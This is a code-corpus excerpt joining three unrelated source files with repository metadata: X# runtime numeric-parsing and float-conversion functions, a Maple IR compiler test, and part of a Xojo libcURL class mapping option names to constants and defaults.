CASE c'.'
CASE c','
IF c == c',' .AND. cDec != c',' // Don't ask, VO...
done := TRUE
ELSEIF hasdec
done := TRUE
ELSE
hasdec := TRUE
ENDIF
CASE c'A'
CASE c'B'
CASE c'C'
CASE c'D'
CASE c'F'
IF !hex
done := TRUE
ENDIF
CASE c'E'
// exponentional notation only allowed if decimal separator was there
IF hasdec
hasexp := TRUE
ELSE
IF !hex
done := TRUE
ENDIF
ENDIF
CASE c'L' // LONG result
CASE c'U' // DWORD result
done := TRUE
CASE c'X'
IF cPrev == c'0' .and. !hex
hex := TRUE
ELSE
done := TRUE
ENDIF
OTHERWISE
done := TRUE
END SWITCH
IF done
EXIT
ENDIF
pos += 1
cPrev := c
NEXT
IF pos < cNumber:Length
cNumber := cNumber:Substring(0, pos)
ENDIF
IF cNumber:IndexOf('-') == 0 .and. cNumber:Length > 2 .and. cNumber[1] == c' '
cNumber := "-" + cNumber:Substring(1):Trim()
END IF
IF cNumber:IndexOfAny(<CHAR> {c'.'}) > -1
IF cDec != c'.'
cNumber := cNumber:Replace(cDec, c'.')
ENDIF
VAR style := NumberStyles.Number
IF hasexp
style |= NumberStyles.AllowExponent
ENDIF
IF System.Double.TryParse(cNumber, style, ConversionHelpers.usCulture, OUT VAR r8Result)
RETURN __Float{ r8Result , cNumber:Length - cNumber:IndexOf(c'.') - 1}
ENDIF
ELSE
LOCAL style AS NumberStyles
IF hex
style := NumberStyles.HexNumber
LOCAL nHexTagPos AS INT
nHexTagPos := cNumber:IndexOf("0x")
IF nHexTagPos == -1
nHexTagPos := cNumber:IndexOf("0X")
ENDIF
IF nHexTagPos != -1
cNumber := cNumber:Substring(0, nHexTagPos) + cNumber:Substring(nHexTagPos + 2):Trim()
ENDIF
LOCAL lNegativeHex := FALSE AS LOGIC
IF cNumber:IndexOf('-') == 0
cNumber := cNumber:Substring(1)
lNegativeHex := TRUE
ELSEIF cNumber:IndexOf('+') == 0
cNumber := cNumber:Substring(1)
END IF
System.Int64.TryParse(cNumber, style, ConversionHelpers.usCulture, OUT VAR iResult)
IF lNegativeHex
iResult := - iResult
ENDIF
IF Math.Abs(iResult) <= Int32.MaxValue
RETURN (INT) iResult
ELSE
RETURN __Float{ (REAL8) iResult , 0 }
ENDIF
ELSE
style := NumberStyles.Integer
IF cNumber:Length <= 9 // yes, no matter if there's a sign char or not
System.Int32.TryParse(cNumber, style, ConversionHelpers.usCulture, OUT VAR iResult)
RETURN iResult
ELSE
System.Double.TryParse(cNumber, style, ConversionHelpers.usCulture, OUT VAR rResult)
RETURN __Float{rResult, 0}
ENDIF
ENDIF
ENDIF
RETURN 0
/// <summary>
/// Convert an object containing a numeric value to a FLOAT
/// </summary>
/// <param name="oValue">Object containing the numeric value to convert.</param>
/// <returns>The value in the form of a float. </returns>
/// <exception cref='System.InvalidCastException'> Thrown when the parameter oValue cannot be converted to a FLOAT.</exception>
FUNCTION Object2Float(oValue AS OBJECT) AS FLOAT
LOCAL typ := oValue:GetType() AS System.Type
IF typ == typeof(FLOAT)
RETURN (FLOAT) oValue
ENDIF
LOCAL tc := System.Type.GetTypeCode(typ) AS TypeCode
SWITCH tc
CASE System.TypeCode.SByte
RETURN (System.SByte) oValue
CASE System.TypeCode.Byte
RETURN (System.Byte) oValue
CASE System.TypeCode.Double
RETURN (System.Double) oValue
CASE System.TypeCode.Single
RETURN (System.Single) oValue
CASE System.TypeCode.UInt16
RETURN (System.UInt16) oValue
CASE System.TypeCode.UInt32
RETURN (System.UInt32) oValue
CASE System.TypeCode.UInt64
RETURN (System.UInt64) oValue
CASE System.TypeCode.Int16
RETURN (System.Int16) oValue
CASE System.TypeCode.Int32
RETURN (System.Int32) oValue
CASE System.TypeCode.Int64
RETURN (System.Int64) oValue
CASE System.TypeCode.Decimal
RETURN (System.Decimal) oValue
OTHERWISE
THROW InvalidCastException{"Cannot convert from type "+typ:FullName+" to FLOAT"}
END SWITCH
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/bin2f/*" />
FUNCTION Bin2F(cFloat AS STRING) AS FLOAT
LOCAL nDec AS WORD
LOCAL val AS REAL8
IF SLen(cFloat) >= 12
nDec := Bin2W(SubStr3(cFloat, 11,2))
val := Bin2Real8(SubStr3(cFloat, 1,8))
RETURN FLOAT{val, 0, nDec}
ENDIF
RETURN 0.0
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/f2bin/*" />
FUNCTION F2Bin(fValue AS FLOAT) AS STRING
RETURN Real82Bin(fValue:Value)+ e"\0\0" + W2Bin((WORD)fValue:Decimals)
| xBase | 5 | orangesocks/XSharpPublic | Runtime/XSharp.RT/Functions/Conversions.prg | [
"Apache-2.0"
] |
var $p <* i32>
func $Foo (var %i i32) void {
iassign <* i32>(
dread a64 $p,
add i32(
iread i32 <* i32> ( dread a64 $p ),
dread i32 %i))
return()
}
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 2 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0045-mapleall-irbuild-edge-indirect/Main.mpl | [
"MulanPSL-1.0"
] |
#tag Class
Protected Class OptionInfo
#tag Method, Flags = &h1
Protected Sub Constructor(Option As curl_easyoption)
mOpt = Option
End Sub
#tag EndMethod
#tag Method, Flags = &h1
Protected Shared Function GetOptionByName(Name As String) As Int32
Name = Replace(Name, "CURLOPT_", "")
Name = Replace(Name, "libcURL.Opts.", "")
Select Case Name
Case "ABSTRACT_UNIX_SOCKET"
Return ABSTRACT_UNIX_SOCKET
Case "ACCEPTTIMEOUT_MS"
Return ACCEPTTIMEOUT_MS
Case "ACCEPT_ENCODING"
Return ACCEPT_ENCODING
Case "ADDRESS_SCOPE"
Return ADDRESS_SCOPE
Case "ALTSVC"
Return ALTSVC
Case "ALTSVC_CTRL"
Return ALTSVC_CTRL
Case "APPEND"
Return APPEND
Case "AUTOREFERER"
Return AUTOREFERER
Case "AWS_SIGV4"
Return AWS_SIGV4
Case "BUFFERSIZE"
Return BUFFERSIZE
Case "CAINFO"
Return CAINFO
Case "CAPATH"
Return CAPATH
Case "CAINFO_BLOB"
Return CAINFO_BLOB
Case "CERTINFO"
Return CERTINFO
Case "CHUNK_BGN_FUNCTION"
Return CHUNK_BGN_FUNCTION
Case "CHUNK_DATA"
Return CHUNK_DATA
Case "CHUNK_END_FUNCTION"
Return CHUNK_END_FUNCTION
Case "CLOSESOCKETDATA"
Return CLOSESOCKETDATA
Case "CLOSESOCKETFUNCTION"
Return CLOSESOCKETFUNCTION
Case "CONNECTTIMEOUT"
Return CONNECTTIMEOUT
Case "CONNECTTIMEOUT_MS"
Return CONNECTTIMEOUT_MS
Case "CONNECT_ONLY"
Return CONNECT_ONLY
Case "CONNECT_TO"
Return CONNECT_TO
Case "CONV_FROM_NETWORK_FUNCTION"
Return CONV_FROM_NETWORK_FUNCTION
Case "CONV_FROM_UTF8_FUNCTION"
Return CONV_FROM_UTF8_FUNCTION
Case "CONV_TO_NETWORK_FUNCTION"
Return CONV_TO_NETWORK_FUNCTION
Case "COOKIE"
Return COOKIE
Case "COOKIEFILE"
Return COOKIEFILE
Case "COOKIEJAR"
Return COOKIEJAR
Case "COOKIELIST"
Return COOKIELIST
Case "COOKIESESSION"
Return COOKIESESSION
Case "COPYPOSTFIELDS"
Return COPYPOSTFIELDS
Case "CRLF"
Return CRLF
Case "CRLFILE"
Return CRLFILE
Case "CURLU"
Return CURLU
Case "CUSTOMREQUEST"
Return CUSTOMREQUEST
Case "DEBUGDATA"
Return DEBUGDATA
Case "DEBUGFUNCTION"
Return DEBUGFUNCTION
Case "DEFAULT_PROTOCOL"
Return DEFAULT_PROTOCOL
Case "DIRLISTONLY"
Return DIRLISTONLY
Case "DISALLOW_USERNAME_IN_URL"
Return DISALLOW_USERNAME_IN_URL
Case "DNS_CACHE_TIMEOUT"
Return DNS_CACHE_TIMEOUT
Case "DNS_INTERFACE"
Return DNS_INTERFACE
Case "DNS_LOCAL_IP4"
Return DNS_LOCAL_IP4
Case "DNS_LOCAL_IP6"
Return DNS_LOCAL_IP6
Case "DNS_SERVERS"
Return DNS_SERVERS
Case "DNS_SHUFFLE_ADDRESSES"
Return DNS_SHUFFLE_ADDRESSES
Case "DNS_USE_GLOBAL_CACHE"
Return DNS_USE_GLOBAL_CACHE
Case "DOH_URL"
Return DOH_URL
Case "EGDSOCKET"
Return EGDSOCKET
Case "ERRORBUFFER"
Return ERRORBUFFER
Case "EXPECT_100_TIMEOUT_MS"
Return EXPECT_100_TIMEOUT_MS
Case "FAILONERROR"
Return FAILONERROR
Case "FILETIME"
Return FILETIME
Case "FNMATCH_DATA"
Return FNMATCH_DATA
Case "FNMATCH_FUNCTION"
Return FNMATCH_FUNCTION
Case "FOLLOWLOCATION"
Return FOLLOWLOCATION
Case "FORBID_REUSE"
Return FORBID_REUSE
Case "FRESH_CONNECT"
Return FRESH_CONNECT
Case "FTPPORT"
Return FTPPORT
Case "FTPSSLAUTH"
Return FTPSSLAUTH
Case "FTP_ACCOUNT"
Return FTP_ACCOUNT
Case "FTP_ALTERNATIVE_TO_USER"
Return FTP_ALTERNATIVE_TO_USER
Case "FTP_CREATE_MISSING_DIRS"
Return FTP_CREATE_MISSING_DIRS
Case "FTP_FILEMETHOD"
Return FTP_FILEMETHOD
Case "FTP_RESPONSE_TIMEOUT"
Return FTP_RESPONSE_TIMEOUT
Case "FTP_SKIP_PASV_IP"
Return FTP_SKIP_PASV_IP
Case "FTP_SSL_CCC"
Return FTP_SSL_CCC
Case "FTP_USE_EPRT"
Return FTP_USE_EPRT
Case "FTP_USE_EPSV"
Return FTP_USE_EPSV
Case "FTP_USE_PRET"
Return FTP_USE_PRET
Case "GSSAPI_DELEGATION"
Return GSSAPI_DELEGATION
Case "HAPPY_EYEBALLS_TIMEOUT_MS"
Return HAPPY_EYEBALLS_TIMEOUT_MS
Case "HAPROXYPROTOCOL"
Return HAPROXYPROTOCOL
Case "HEADER"
Return HEADER
Case "HEADERDATA"
Return HEADERDATA
Case "HEADERFUNCTION"
Return HEADERFUNCTION
Case "HEADEROPT"
Return HEADEROPT
Case "HTTP09_ALLOWED"
Return HTTP09_ALLOWED
Case "HTTP200ALIASES"
Return HTTP200ALIASES
Case "HTTPAUTH"
Return HTTPAUTH
Case "HTTPGET"
Return HTTPGET
Case "HTTPHEADER"
Return HTTPHEADER
Case "HTTPPOST"
Return HTTPPOST
Case "HTTPPROXYTUNNEL"
Return HTTPPROXYTUNNEL
Case "HTTPVERSION"
Return HTTPVERSION
Case "HTTP_CONTENT_DECODING"
Return HTTP_CONTENT_DECODING
Case "HTTP_TRANSFER_DECODING"
Return HTTP_TRANSFER_DECODING
Case "HTTP_VERSION"
Return HTTP_VERSION
Case "IGNORE_CONTENT_LENGTH"
Return IGNORE_CONTENT_LENGTH
Case "INFILESIZE"
Return INFILESIZE
Case "INFILESIZE_LARGE"
Return INFILESIZE_LARGE
Case "INTERLEAVEDATA"
Return INTERLEAVEDATA
Case "INTERLEAVEFUNCTION"
Return INTERLEAVEFUNCTION
Case "IOCTLDATA"
Return IOCTLDATA
Case "IOCTLFUNCTION"
Return IOCTLFUNCTION
Case "IPRESOLVE"
Return IPRESOLVE
Case "ISSUERCERT"
Return ISSUERCERT
Case "ISSUERCERT_BLOB"
Return ISSUERCERT_BLOB
Case "KEEP_SENDING_ON_ERROR"
Return KEEP_SENDING_ON_ERROR
Case "KEYPASSWD"
Return KEYPASSWD
Case "KRBLEVEL"
Return KRBLEVEL
Case "LOCALPORT"
Return LOCALPORT
Case "LOCALPORTRANGE"
Return LOCALPORTRANGE
Case "LOGIN_OPTIONS"
Return LOGIN_OPTIONS
Case "LOW_SPEED_LIMIT"
Return LOW_SPEED_LIMIT
Case "LOW_SPEED_TIME"
Return LOW_SPEED_TIME
Case "MAIL_AUTH"
Return MAIL_AUTH
Case "MAIL_FROM"
Return MAIL_FROM
Case "MAIL_RCPT"
Return MAIL_RCPT
Case "MAIL_RCPT_ALLLOWFAILS"
Return MAIL_RCPT_ALLLOWFAILS
Case "MAXAGE_CONN"
Return MAXAGE_CONN
Case "MAXCONNECTS"
Return MAXCONNECTS
Case "MAXFILESIZE"
Return MAXFILESIZE
Case "MAXFILESIZE_LARGE"
Return MAXFILESIZE_LARGE
Case "MAXREDIRS"
Return MAXREDIRS
Case "MAX_RECV_SPEED_LARGE"
Return MAX_RECV_SPEED_LARGE
Case "MAX_SEND_SPEED_LARGE"
Return MAX_SEND_SPEED_LARGE
Case "MIMEPOST"
Return MIMEPOST
Case "NETINTERFACE", "INTERFACE"
Return NETINTERFACE
Case "NETRC"
Return NETRC
Case "NETRC_FILE"
Return NETRC_FILE
Case "NEW_DIRECTORY_PERMS"
Return NEW_DIRECTORY_PERMS
Case "NEW_FILE_PERMS"
Return NEW_FILE_PERMS
Case "NOBODY"
Return NOBODY
Case "NOPROGRESS"
Return NOPROGRESS
Case "NOPROXY"
Return NOPROXY
Case "NOSIGNAL"
Return NOSIGNAL
Case "OPENSOCKETDATA"
Return OPENSOCKETDATA
Case "OPENSOCKETFUNCTION"
Return OPENSOCKETFUNCTION
Case "PASSWORD"
Return PASSWORD
Case "PATH_AS_IS"
Return PATH_AS_IS
Case "PINNEDPUBLICKEY"
Return PINNEDPUBLICKEY
Case "PIPELINING_SERVER_BL"
Return PIPELINING_SERVER_BL
Case "PIPELINING_SITE_BL"
Return PIPELINING_SITE_BL
Case "PIPEWAIT"
Return PIPEWAIT
Case "PORT"
Return PORT
Case "POST"
Return POST
Case "POSTFIELDS"
Return POSTFIELDS
Case "POSTFIELDSIZE"
Return POSTFIELDSIZE
Case "POSTFIELDSIZE_LARGE"
Return POSTFIELDSIZE_LARGE
Case "POSTQUOTE"
Return POSTQUOTE
Case "POSTREDIR"
Return POSTREDIR
Case "PREQUOTE"
Return PREQUOTE
Case "PRE_PROXY"
Return PRE_PROXY
Case "PRIVATE_"
Return PRIVATE_
Case "PROGRESSDATA"
Return PROGRESSDATA
Case "PROGRESSFUNCTION"
Return PROGRESSFUNCTION
Case "PROTOCOLS"
Return PROTOCOLS
Case "PROXY"
Return PROXY
Case "PROXYAUTH"
Return PROXYAUTH
Case "PROXYHEADER"
Return PROXYHEADER
Case "PROXYPASSWORD"
Return PROXYPASSWORD
Case "PROXYPORT"
Return PROXYPORT
Case "PROXYTYPE"
Return PROXYTYPE
Case "PROXYUSERNAME"
Return PROXYUSERNAME
Case "PROXYUSERPWD"
Return PROXYUSERPWD
Case "PROXY_CAINFO"
Return PROXY_CAINFO
Case "PROXY_CAPATH"
Return PROXY_CAPATH
Case "PROXY_CRLFILE"
Return PROXY_CRLFILE
Case "PROXY_ISSUERCERT"
Return PROXY_ISSUERCERT
Case "PROXY_ISSUERCERT_BLOB"
Return PROXY_ISSUERCERT_BLOB
Case "PROXY_KEYPASSWD"
Return PROXY_KEYPASSWD
Case "PROXY_PINNEDPUBLICKEY"
Return PROXY_PINNEDPUBLICKEY
Case "PROXY_SERVICE_NAME"
Return PROXY_SERVICE_NAME
Case "PROXY_SSLCERT"
Return PROXY_SSLCERT
Case "PROXY_SSLCERTTYPE"
Return PROXY_SSLCERTTYPE
Case "PROXY_SSLCERT_BLOB"
Return PROXY_SSLCERT_BLOB
Case "PROXY_SSLKEY"
Return PROXY_SSLKEY
Case "PROXY_SSLKEYTYPE"
Return PROXY_SSLKEYTYPE
Case "PROXY_SSLKEY_BLOB"
Return PROXY_SSLKEY_BLOB
Case "PROXY_SSLVERSION"
Return PROXY_SSLVERSION
Case "PROXY_SSL_CIPHER_LIST"
Return PROXY_SSL_CIPHER_LIST
Case "PROXY_SSL_OPTIONS"
Return PROXY_SSL_OPTIONS
Case "PROXY_SSL_VERIFYHOST"
Return PROXY_SSL_VERIFYHOST
Case "PROXY_SSL_VERIFYPEER"
Return PROXY_SSL_VERIFYPEER
Case "PROXY_TLS13_CIPHERS"
Return PROXY_TLS13_CIPHERS
Case "PROXY_TLSAUTH_PASSWORD"
Return PROXY_TLSAUTH_PASSWORD
Case "PROXY_TLSAUTH_TYPE"
Return PROXY_TLSAUTH_TYPE
Case "PROXY_TLSAUTH_USERNAME"
Return PROXY_TLSAUTH_USERNAME
Case "PROXY_TRANSFER_MODE"
Return PROXY_TRANSFER_MODE
Case "PUT"
Return PUT
Case "QUOTE"
Return QUOTE
Case "RANDOM_FILE"
Return RANDOM_FILE
Case "RANGE"
Return RANGE
Case "READDATA"
Return READDATA
Case "READFUNCTION"
Return READFUNCTION
Case "REDIR_PROTOCOLS"
Return REDIR_PROTOCOLS
Case "REFERER"
Return REFERER
Case "REQUEST_TARGET"
Return REQUEST_TARGET
Case "RESOLVE"
Return RESOLVE
Case "RESOLVER_START_DATA"
Return RESOLVER_START_DATA
Case "RESOLVER_START_FUNCTION"
Return RESOLVER_START_FUNCTION
Case "RESUME_FROM"
Return RESUME_FROM
Case "RESUME_FROM_LARGE"
Return RESUME_FROM_LARGE
Case "RTSP_CLIENT_CSEQ"
Return RTSP_CLIENT_CSEQ
Case "RTSP_REQUEST"
Return RTSP_REQUEST
Case "RTSP_SERVER_CSEQ"
Return RTSP_SERVER_CSEQ
Case "RTSP_SESSION_ID"
Return RTSP_SESSION_ID
Case "RTSP_STREAM_URI"
Return RTSP_STREAM_URI
Case "RTSP_TRANSPORT"
Return RTSP_TRANSPORT
Case "SASL_AUTHZID"
Return SASL_AUTHZID
Case "SASL_IR"
Return SASL_IR
Case "SEEKDATA"
Return SEEKDATA
Case "SEEKFUNCTION"
Return SEEKFUNCTION
Case "SERVICE_NAME"
Return SERVICE_NAME
Case "SHARE"
Return SHARE
Case "SHOPT_LOCKFUNC"
Return SHOPT_LOCKFUNC
Case "SHOPT_UNLOCKFUNC"
Return SHOPT_UNLOCKFUNC
Case "SHOPT_USERDATA"
Return SHOPT_USERDATA
Case "SOCKOPTDATA"
Return SOCKOPTDATA
Case "SOCKOPTFUNCTION"
Return SOCKOPTFUNCTION
Case "SOCKS5_AUTH"
Return SOCKS5_AUTH
Case "SOCKS5_GSSAPI_NEC"
Return SOCKS5_GSSAPI_NEC
Case "SOCKS5_GSSAPI_SERVICE"
Return SOCKS5_GSSAPI_SERVICE
Case "SSH_AUTH_TYPES"
Return SSH_AUTH_TYPES
Case "SSH_COMPRESSION"
Return SSH_COMPRESSION
Case "SSH_HOST_PUBLIC_KEY_MD5"
Return SSH_HOST_PUBLIC_KEY_MD5
Case "SSH_KEYDATA"
Return SSH_KEYDATA
Case "SSH_KEYFUNCTION"
Return SSH_KEYFUNCTION
Case "SSH_KNOWNHOSTS"
Return SSH_KNOWNHOSTS
Case "SSH_PRIVATE_KEYFILE"
Return SSH_PRIVATE_KEYFILE
Case "SSH_PUBLIC_KEYFILE"
Return SSH_PUBLIC_KEYFILE
Case "SSLCERT"
Return SSLCERT
Case "SSLCERTTYPE"
Return SSLCERTTYPE
Case "SSLCERT_BLOB"
Return SSLCERT_BLOB
Case "SSLENGINE"
Return SSLENGINE
Case "SSLENGINE_DEFAULT"
Return SSLENGINE_DEFAULT
Case "SSLKEY"
Return SSLKEY
Case "SSLKEYTYPE"
Return SSLKEYTYPE
Case "SSLKEY_BLOB"
Return SSLKEY_BLOB
Case "SSLVERSION"
Return SSLVERSION
Case "SSL_CIPHER_LIST"
Return SSL_CIPHER_LIST
Case "SSL_CTX_DATA"
Return SSL_CTX_DATA
Case "SSL_CTX_FUNCTION"
Return SSL_CTX_FUNCTION
Case "SSL_EC_CURVES"
Return SSL_EC_CURVES
Case "SSL_ENABLE_ALPN"
Return SSL_ENABLE_ALPN
Case "SSL_ENABLE_NPN"
Return SSL_ENABLE_NPN
Case "SSL_FALSESTART"
Return SSL_FALSESTART
Case "SSL_OPTIONS"
Return SSL_OPTIONS
Case "SSL_SESSIONID_CACHE"
Return SSL_SESSIONID_CACHE
Case "SSL_VERIFYHOST"
Return SSL_VERIFYHOST
Case "SSL_VERIFYPEER"
Return SSL_VERIFYPEER
Case "SSL_VERIFYSTATUS"
Return SSL_VERIFYSTATUS
Case "STDERR"
Return STDERR
Case "STREAM_DEPENDS"
Return STREAM_DEPENDS
Case "STREAM_DEPENDS_E"
Return STREAM_DEPENDS_E
Case "STREAM_WEIGHT"
Return STREAM_WEIGHT
Case "SUPPRESS_CONNECT_HEADERS"
Return SUPPRESS_CONNECT_HEADERS
Case "TCP_FASTOPEN"
Return TCP_FASTOPEN
Case "TCP_KEEPALIVE"
Return TCP_KEEPALIVE
Case "TCP_KEEPIDLE"
Return TCP_KEEPIDLE
Case "TCP_KEEPINTVL"
Return TCP_KEEPINTVL
Case "TCP_NODELAY"
Return TCP_NODELAY
Case "TELNETOPTIONS"
Return TELNETOPTIONS
Case "TFTP_BLKSIZE"
Return TFTP_BLKSIZE
Case "TFTP_NO_OPTIONS"
Return TFTP_NO_OPTIONS
Case "TIMECONDITION"
Return TIMECONDITION
Case "TIMEOUT"
Return TIMEOUT
Case "TIMEOUT_MS"
Return TIMEOUT_MS
Case "TIMEVALUE"
Return TIMEVALUE
Case "TIMEVALUE_LARGE"
Return TIMEVALUE_LARGE
Case "TLS13_CIPHERS"
Return TLS13_CIPHERS
Case "TLSAUTH_PASSWORD"
Return TLSAUTH_PASSWORD
Case "TLSAUTH_TYPE"
Return TLSAUTH_TYPE
Case "TLSAUTH_USERNAME"
Return TLSAUTH_USERNAME
Case "TRAILERDATA"
Return TRAILERDATA
Case "TRAILERFUNCTION"
Return TRAILERFUNCTION
Case "TRANSFERTEXT"
Return TRANSFERTEXT
Case "TRANSFER_ENCODING"
Return TRANSFER_ENCODING
Case "UNIX_SOCKET_PATH"
Return UNIX_SOCKET_PATH
Case "UNRESTRICTED_AUTH"
Return UNRESTRICTED_AUTH
Case "UPKEEP_INTERVAL_MS"
Return UPKEEP_INTERVAL_MS
Case "UPLOAD"
Return UPLOAD
Case "UPLOAD_BUFFERSIZE"
Return UPLOAD_BUFFERSIZE
Case "URL"
Return URL
Case "USERAGENT"
Return USERAGENT
Case "USERNAME"
Return USERNAME
Case "USERPWD"
Return USERPWD
Case "USE_SSL"
Return USE_SSL
Case "VERBOSE"
Return VERBOSE
Case "WILDCARDMATCH"
Return WILDCARDMATCH
Case "WRITEDATA"
Return WRITEDATA
Case "WRITEFUNCTION"
Return WRITEFUNCTION
Case "XFERINFODATA"
Return XFERINFODATA
Case "XFERINFOFUNCTION"
Return XFERINFOFUNCTION
Case "XOAUTH2_BEARER"
Return XOAUTH2_BEARER
End Select
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Shared Function GetOptionDefault(OptionID As Int32) As Variant
Select Case OptionID
Case ABSTRACT_UNIX_SOCKET
Return Nil
Case ACCEPTTIMEOUT_MS
Return 60000
Case ACCEPT_ENCODING
Return Nil
Case ADDRESS_SCOPE
Return 0
Case ALTSVC
Return Nil
Case ALTSVC_CTRL
Return 0
Case APPEND
Return 0
Case AUTOREFERER
Return 0
Case AWS_SIGV4
Return Nil
Case BUFFERSIZE
Return EasyHandle.CURL_MAX_WRITE_SIZE
Case CAINFO
Return Nil
Case CAPATH
Return Nil
Case CAINFO_BLOB
Return Nil
Case CERTINFO
Return 0
Case CHUNK_BGN_FUNCTION
Return Nil
Case CHUNK_DATA
Return Nil
Case CHUNK_END_FUNCTION
Return Nil
Case CLOSESOCKETDATA
Return Nil
Case CLOSESOCKETFUNCTION
Return Nil
Case CONNECTTIMEOUT
Return 300
Case CONNECTTIMEOUT_MS
Return 300000
Case CONNECT_ONLY
Return 0
Case CONNECT_TO
Return Nil
Case CONV_FROM_NETWORK_FUNCTION
Return Nil
Case CONV_FROM_UTF8_FUNCTION
Return Nil
Case CONV_TO_NETWORK_FUNCTION
Return Nil
Case COOKIE
Return Nil
Case COOKIEFILE
Return Nil
Case COOKIEJAR
Return Nil
Case COOKIELIST
Return Nil
Case COOKIESESSION
Return 0
Case COPYPOSTFIELDS
Return Nil
Case CRLF
Return 0
Case CRLFILE
Return Nil
Case CURLU
Return Nil
Case CUSTOMREQUEST
Return Nil
Case DEBUGDATA
Return Nil
Case DEBUGFUNCTION
Return Nil
Case DEFAULT_PROTOCOL
Return Nil
Case DIRLISTONLY
Return 0
Case DISALLOW_USERNAME_IN_URL
Return 0
Case DNS_CACHE_TIMEOUT
Return 60
Case DNS_INTERFACE
Return Nil
Case DNS_LOCAL_IP4
Return Nil
Case DNS_LOCAL_IP6
Return Nil
Case DNS_SERVERS
Return Nil
Case DNS_SHUFFLE_ADDRESSES
Return 0
Case DNS_USE_GLOBAL_CACHE
Return 0
Case DOH_URL
Return Nil
Case EGDSOCKET
Return Nil
Case ERRORBUFFER
Return Nil
Case EXPECT_100_TIMEOUT_MS
Return 1000
Case FAILONERROR
Return 0
Case FILETIME
Return 0
Case FNMATCH_DATA
Return Nil
Case FNMATCH_FUNCTION
Return Nil
Case FOLLOWLOCATION
Return 0
Case FORBID_REUSE
Return 0
Case FRESH_CONNECT
Return 0
Case FTPPORT
Return Nil
Case FTPSSLAUTH
Return 0
Case FTP_ACCOUNT
Return Nil
Case FTP_ALTERNATIVE_TO_USER
Return Nil
Case FTP_CREATE_MISSING_DIRS
Return 0
Case FTP_FILEMETHOD
Return CWDMethod.Multi
Case FTP_RESPONSE_TIMEOUT
Return 0
Case FTP_SKIP_PASV_IP
Return 0
Case FTP_SSL_CCC
Return 0
Case FTP_USE_EPRT
Return 0
Case FTP_USE_EPSV
Return 1
Case FTP_USE_PRET
Return 0
Case GSSAPI_DELEGATION
Return 0
Case HAPPY_EYEBALLS_TIMEOUT_MS
Return 200
Case HAPROXYPROTOCOL
Return 0
Case HEADER
Return 0
Case HEADERDATA
Return Nil
Case HEADERFUNCTION
Return Nil
Case HEADEROPT
Const CURLHEADER_UNIFIED = 0
Const CURLHEADER_SEPARATE = 1
If libcURL.Version.IsAtLeast(7, 42, 1) Then
Return CURLHEADER_UNIFIED
Else
Return CURLHEADER_SEPARATE
End If
Case HTTP09_ALLOWED
Return 0
Case HTTP200ALIASES
Return Nil
Case HTTPAUTH
Return CURLAUTH.BASIC
Case HTTPGET
Return 0
Case HTTPHEADER
Return Nil
Case HTTPPOST
Return Nil
Case HTTPPROXYTUNNEL
Return 0
Case HTTP_CONTENT_DECODING
Return 1
Case HTTP_TRANSFER_DECODING
Return 1
Case HTTP_VERSION
If libcURL.Version.IsAtLeast(7, 62, 0) And libcURL.Version.HTTP2 Then
Return libcURL.HTTPVersion.HTTP2TLS
Else
Return libcURL.HTTPVersion.HTTP1_1
End If
Case IGNORE_CONTENT_LENGTH
Return 0
Case INFILESIZE
Return 0
Case INFILESIZE_LARGE
Return 0
Case NETINTERFACE
Return Nil
Case INTERLEAVEDATA
Return Nil
Case INTERLEAVEFUNCTION
Return Nil
Case IOCTLDATA
Return Nil
Case IOCTLFUNCTION
Return Nil
Case IPRESOLVE
Return libcURL.IPVersion.Whatever
Case ISSUERCERT
Return Nil
Case ISSUERCERT_BLOB
Return Nil
Case KEEP_SENDING_ON_ERROR
Return 0
Case KEYPASSWD
Return Nil
Case KRBLEVEL
Return Nil
Case LOCALPORT
Return 0
Case LOCALPORTRANGE
Return 1
Case LOGIN_OPTIONS
Return Nil
Case LOW_SPEED_LIMIT
Return 0
Case LOW_SPEED_TIME
Return 0
Case MAIL_AUTH
Return Nil
Case MAIL_FROM
Return Nil
Case MAIL_RCPT
Return Nil
Case MAIL_RCPT_ALLLOWFAILS
Return 0
Case MAXAGE_CONN
Return 118
Case MAXCONNECTS
Return 5
Case MAXFILESIZE
Return 0
Case MAXFILESIZE_LARGE
Return 0
Case MAXREDIRS
Return -1
Case MAX_RECV_SPEED_LARGE
Return 0
Case MAX_SEND_SPEED_LARGE
Return 0
Case NETRC
Return 0
Case NETRC_FILE
Return Nil
Case NEW_DIRECTORY_PERMS
Return &o0755
Case NEW_FILE_PERMS
Return &o0644
Case NOBODY
Return 0
Case NOPROGRESS
Return 1
Case NOPROXY
Return Nil
Case NOSIGNAL
Return 0
Case OPENSOCKETDATA
Return Nil
Case OPENSOCKETFUNCTION
Return Nil
Case PASSWORD
Return Nil
Case PATH_AS_IS
Return 0
Case PINNEDPUBLICKEY
Return Nil
Case PIPEWAIT
Return 0
Case PORT
Return 0
Case POST
Return 0
Case POSTFIELDS
Return Nil
Case POSTFIELDSIZE
Return -1
Case POSTFIELDSIZE_LARGE
Return -1
Case POSTQUOTE
Return Nil
Case POSTREDIR
Return 0
Case PREQUOTE
Return Nil
Case PRE_PROXY
Return Nil
Case PRIVATE_
Return Nil
Case PROGRESSDATA
Return Nil
Case PROGRESSFUNCTION
Return Nil
Case PROTOCOLS
Return 0
Case PROXY
Return Nil
Case PROXYAUTH
Return CURLAUTH.BASIC
Case PROXYHEADER
Return Nil
Case PROXYPASSWORD
Return Nil
Case PROXYPORT
Return 0
Case PROXYTYPE
Return libcURL.ProxyType.HTTP
Case PROXYUSERNAME
Return Nil
Case PROXYUSERPWD
Return Nil
Case PROXY_CAINFO
Return Nil
Case PROXY_CAPATH
Return Nil
Case PROXY_CRLFILE
Return Nil
Case PROXY_ISSUERCERT
Return Nil
Case PROXY_ISSUERCERT_BLOB
Return Nil
Case PROXY_KEYPASSWD
Return Nil
Case PROXY_PINNEDPUBLICKEY
Return Nil
Case PROXY_SERVICE_NAME
Return Nil
Case PROXY_SSLCERT
Return Nil
Case PROXY_SSLCERTTYPE
Return "PEM"
Case PROXY_SSLCERT_BLOB
Return Nil
Case PROXY_SSLKEY
Return Nil
Case PROXY_SSLKEY_BLOB
Return Nil
Case PROXY_SSLVERSION
Return libcURL.SSLVersion.Default
Case PROXY_SSL_CIPHER_LIST
Return Nil
Case PROXY_SSL_OPTIONS
Return 0
